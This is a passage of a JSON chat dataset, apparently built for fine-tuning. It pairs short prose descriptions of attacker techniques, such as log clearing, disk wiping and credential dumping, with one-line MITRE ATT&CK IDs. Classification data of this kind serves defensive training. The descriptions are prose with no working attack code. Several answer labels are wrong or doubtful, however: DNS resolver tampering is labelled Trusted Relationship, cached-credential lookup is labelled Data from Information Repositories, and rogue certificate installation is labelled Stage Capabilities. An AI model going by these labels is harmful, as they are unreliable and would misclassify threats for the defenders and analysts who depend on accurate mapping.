        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the list of local user groups on the compromised Windows host by running 'net localgroup' command."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker purchases a previously expired domain to disguise phishing sites and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker Base64‑encodes the harvested files before sending them over the command‑and‑control channel."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scheduled a task that runs a batch file to run 'wevtutil cl' on multiple logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group purchases exploit kits containing zero‑day vulnerabilities specific to the target's software stack."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the cloud provider's metadata API to extract SSH keys and other secrets stored in instance metadata."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a self‑signed root CA certificate into the Windows Trusted Root Certification Authorities store to enable man‑in‑the‑middle decryption of HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary manipulates a trusted DNS resolver configuration to redirect traffic to malicious servers."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware invokes the 'dd' command to write zeros across the disk, wiping all content."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a scheduled task that periodically starts a mining executable, consuming system resources."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the lack of SMB signing on a target network to perform a relay attack after poisoning LLMNR name resolution."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A service is installed that runs under the “LocalSystem” account and is set to start automatically at boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stages data on the victim machine, then uses SMB shares to copy the files to a remote file server outside the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by placing a malicious plist in /System/Library/LaunchAgents that runs at login."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a kernel-mode vulnerability to increase its process token to that of an administrator."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies internal documentation PDFs hosted on a shared server to include a defacement watermark."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a rapid series of file upload requests that trigger antivirus scanning, exhausting CPU resources on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a Bash command to list all installed packages on a Linux host via dpkg -l."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host periodically posts status updates to a private GitHub repository as a C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains an attachment that, when opened, executes a Visual Basic script to download ransomware."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a covert channel that recognises a specific series of connection attempts on ports 8081, 8082, and 8083 to start data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a PowerShell payload that sets up a Bitcoin mining service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hijacking the KernelCallbackTable enables the attacker to replace legitimate callback functions with malicious ones, achieving code execution at ring0."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Configuring an Outlook form to run a scheduled task upon application startup, establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses the Windows Registry to locate cached credentials saved by the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses WMI queries to enumerate running processes and retrieve system information from remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator conducts reconnaissance by querying the CDN’s edge cache for outdated images that embed metadata about the internal network."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed encrypted payloads in malicious email attachments and send them via SMTP to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using tools like dnsdumpster and SecurityTrails, the attacker gathers historical DNS resolution data for target domains."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script runs on the victim's endpoint, scanning the /proc/net/arp file to list IP addresses of neighboring machines."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool changes the encryption settings of a cloud storage service to use 3DES instead of stronger AES-256 encryption."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary implants a malicious PAM module that intercepts login attempts and injects a backdoor credential, allowing persistent privileged access on Linux systems."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a bogus SAML response containing elevated role attributes and successfully logs into the target SaaS platform."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the credential dumping phase, the adversary adds a WMI event subscription that triggers a logon script to run a credential harvester on each login."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the intruder uses the Windows Service Control Manager to change the startup type of a critical service to \"Automatic\" after inserting a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant employs asymmetric cryptography to encrypt beacon messages sent to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the TEB's TLS area of a victim process and executed when a new thread is created."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group embeds a DDE command in an email attachment that, when clicked, launches a remote access tool."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged a compromised vendor-signed OTA update to modify the Android boot image, effectively patching the system image for espionage."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom C2 tool sends DNS‑over‑HTTPS queries to a legitimate CDN provider, using the HTTPS layer as a covert web service channel."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping module extracts password hashes from the Windows SAM database."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply chain attack, a compromised hard drive is shipped to the victim organization, containing pre-installed malware that activates on boot."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes CDN-specific API endpoints to retrieve metadata about cached assets, revealing backend technologies."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercises employ HTTP(S) beacons that connect to a public web service endpoint, blending with legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network traffic is disguised by embedding malicious payloads within legitimate DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion replaces the machine's internal image with a custom-built image containing hidden persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a malicious Excel template file with embedded VBA code that runs on Office application launch, achieving Office Template Macros persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the accessibility shortcut for the \"Show Narrator\" function, the attacker triggers a PowerShell payload whenever the shortcut key is pressed."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program embeds random noise in its image files to prevent signature generation."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a scheduled task that is triggered at user logon, executing a payload from C:\\Temp\\malicious.exe."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Microsoft System Center Configuration Manager, the attacker silently installs a backdoor on all domain-joined workstations."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the Windows Netstat command combined with ARP table analysis to enumerate active hosts and infer network topology."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal logged in using a default service account that had excessive privileges across the domain."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruders exploit a vulnerable web application to gain access to the domain's WHOIS information and then manipulate the domain settings."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a misconfigured application that writes authentication tokens to log files, then harvest those logs."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware intercepts authentication tokens and re-encrypts them using a reversible cipher controlled by the attacker, enabling later decryption and reuse of the tokens."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a free DNS tunneling service to exfiltrate data and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scrapes public websites and social media profiles to collect victim email addresses for future phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Distributed Component Object Model (DCOM) to execute code on a remote Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor issues a command to wipe the logical volume manager (LVM) volumes, destroying all data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware hides its command-and-control messages by disguising them as legitimate SSH traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts credentials from the Windows Credential Vault, retrieving saved domain and service accounts."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a signed but malicious installer that exploits a code signing bypass, effectively bypassing Gatekeeper's verification."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries the Windows Security log to locate successful logon events for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload triggers a script that configures the victim’s router via its web interface to forward ports, enabling external access."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script called 'Clear-Item' on the entire C:\\ProgramData folder, erasing application data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script scans for users with empty authorized_keys files and populates them with attacker-controlled keys to establish new footholds."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a trojanized .dll into the Windows system directory and registers it as a COM object for later execution by trusted services."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Nginx configuration to load a malicious shared object, granting persistent code execution on the web server."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved executing a network scan to discover DNS and LDAP services before moving laterally."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employed the ntdsutil tool to dump the NTDS.dit database, then parsed out Group Policy information for lateral movement planning."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs automated searches of public CDN repositories for cached JavaScript files that reveal internal endpoints."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a loader that sets up an encrypted channel using asymmetric cryptography to hide its communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set abuses rundll32.exe to run a malicious script embedded in a DLL, chaining the system binary proxy execution technique for stealth."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant modifies the security agent’s configuration to ignore newly created file hashes, blocking indicator‑based detections."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the machine's certificate store by adding a rogue certificate, enabling signed DLL side‑loading for persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
